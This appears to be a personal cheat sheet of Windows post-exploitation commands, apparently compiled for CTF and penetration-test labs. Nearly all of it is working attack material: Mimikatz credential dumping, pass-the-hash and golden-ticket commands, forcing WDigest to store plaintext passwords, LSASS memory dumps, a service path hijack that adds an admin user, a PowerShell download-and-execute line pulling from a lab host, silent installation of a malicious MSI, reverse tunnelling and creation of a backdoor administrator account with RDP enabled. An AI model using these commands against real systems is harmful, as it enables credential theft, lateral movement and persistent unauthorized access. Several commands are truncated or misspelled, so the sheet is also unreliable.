Commands & prevesc: VMs:


Windows 1.0                    1.04
Windows 2.0                    2.11
Windows 3.0                    3
Windows NT 3.1                 3.10.528
Windows for Workgroups 3.11    3.11
Windows NT Workstation 3.5     3.5.807
Windows NT Workstation 3.51    3.51.1057
Windows 95                     4.0.950
Windows NT Workstation 4.0     4.0.1381
Windows 98                     4.1.1998
Windows 98 Second Edition      4.1.2222
Windows Me                     4.90.3000
Windows 2000 Professional      5.0.2195
Windows XP                     5.1.2600
Windows Vista                  6.0.6000
Windows 7                      6.1.7600
Windows 8.1                    6.3.9600
Windows 10                     10.0.10240



sekurlsa::logonPasswords full
sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe


ipconfig /all
whoami /user
lsadump::lsa /inject /name:krbtgt
kerbros::golden /domain:[Domain] /sid:[SID] /rc4:[NTLM Hash] /user:[Username To Create] /id:500 /ptt
pushd \\WINSERVER01\c$

If WDigest is disabled:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Export memory dump and use it in Mimikatz:

Get-Process lsass | Out-Minidump
sekurlsa::minidump lsass_592.dmp

Using VMWare / Hibernate file: Mimikatz features:


Open password protected share

net use \\server\share /user:test testpassword
start \\server\share

Convert string to little-endian

iconv -to-code UTF-16LE

Should be done before base64 encoding for -ExecuteCommand in powershell


  • IP, subnet, default gateway etc: ipconfig /all
  • Current user name, info in current access token, SID, privs and group that current user belongs to: whoami /all
  • Local groups on current machine: net localgroup
  • Local administrators of current machine: net localgroup "administrators"
  • Active tcp connections, ports, which the computer is listening, ethernet statistics, ip routing table: netstat -an
  • Running processes with verbose mode: tasklist /V
  • Startup programs: net start
  • Windows services with binary paths: sc qc <service>
  • OS, processor, memory, bios related info: systeminfo>output.txt
  • Scheduled jobs: schtasks /query /fo LIST /v
  • Patches installed and figuring out if its missing important any patch: wmic qfe get Caption,Description,HotFixID,InstalledOn

Domain Network Recon

  • Mapping of IP address to its MAC address in the network: arp -a
  • Domain: echo %USERDOMAIN%
  • Domain controller name: echo %logonserver%
  • List of domain users: net user /domain
  • List of groups in the domain: net group /domain
  • AD domain password policy: net accounts /domain
  • Map AD trust relationships: nltest /domain_trusts

Moving files

certutil -verifyctl -split -f
mv *.bin taskkill.exe

Extract ZIP

Add-Type -assembly

View File Systems

gdr -PSProvider 'FileSystem'

Access shared volume

net use y: \\\c$ /user:administrator 1234test

Invoke command with credentials

$user = '.\administrator';
$psw = '1234test';
$secpsw = ConvertTo-SecureString $psw -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw
invoke-command -computername localhost -credential $credential
-scriptblock {cd C:\Users\Administrator\Desktop\;C:\Users\Administrator\Desktop\root.exe}

Alternate Data Stream

  • Listing: dir /R
  • Find Streams: get-item -path *.* -stream *
  • Reading: powershell Get-Content -Path "hm.txt" -Stream "root.txt"
  • Reading: get-content -stream 'pass'
  • Reading: streams.exe /accepteula -s from sysinternals


Installing MSI

msiexec /quiet /qn /i malicious.msi
/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation


  • Registry entries: HKLM\SYSTEM\CurrentControlSet\Services
  • View service properties: sc qc "Vulnerable Service" / net start
  • Restarting: sc stop "Vulnerable Service" / net stop <name>
  • Start: sc start "Vulnerable Service" / net start <name>
  • Service information: Get-Service "Ubiquiti UniFi Video" | fl *
  • Restart PC: shutdown /r /t 0
  • Change binary path: sc config "Vulnerable Service" binpath= "net user eviladmin P4ssw0rd@ /add
  • Disable: sc config servicename start= disabled
  • Enable: sc config servicename start= demand
  • Auto: sc config servicename start= auto

Keep alive

When a service starts in Windows operating systems, it must communicate with the Service Control Manager. If it's not, Service Control Manager will terminates the process.

Auto Save Password to PowerShell

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
$passwd = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential('administrator' $passwd)

Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('http://<LAB IP>/writeup')" -Credential $creds


whoami /priv

View Permisions

cacls C:\Users\Administrator\Desktop\root.txt

Grant Permissions

cacls C:\Users\Administrator\Desktop\root.txt /grant Alfred:F
cacls "c:\users\Administrator\Desktop\root.txt" /E /P Alfred:F

cacls Windows utility to view/edit file permissions
/E to edit ACL
/P to set permissions
Alfred:F to give Alfred full control of the file

SSH from Windows to Attacker (Kali)


From Windows:

plink.exe -l root -pw  -R 445:

From Attacker:

netstat -ano | grep 445
winexe -U Administrator // "cmd.exe"


portfwd add -l 445 -p 445 -r
use exploit/windows/smb/psexec
 set SMBUSER Administrators
 set SMBPASS Welcome1!
 set RHOST

Enumeration Tips


  • Check the policies related to Network Access Control. Whether it can be bypassed or not.
  • Go for guest wifi. It could lead you to get inside the company network if it is not segregated.
  • Check for the printers in the environment. Try to do printer exploitation. Printers are part of domain network too. Try default passwords.
  • Check for misconfigurations in the systems as well as the network.
  • At the Domain level, always look for "Administrators" group members instead of going just for "Domain Admins". Reason being Builtin Administrators group is the superior one. Even "Domain Admins" group is also the member of administrators groups.
  • Look for User Rights Assignments in the GPOs. They get checked very rarely. The ones which are configured for Domain Controllers actually have domain rights.
  • Most of the organizations use the same image for all of their deployments. Which means they use same local admin password. Always check if same local admin account is being used in whole domain.
  • Identify Admin Restrictions. (Logon Hours, LogonWorkstations) Decoys can be detected using this.
  • Use Responder to collect NTLM hashes.
  • Check SYSVOL too.
  • ShareEnum to look for file shares.

Add user and enable RDP

net user hacker hacker /add
net localgroup /add Administrators hacker
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f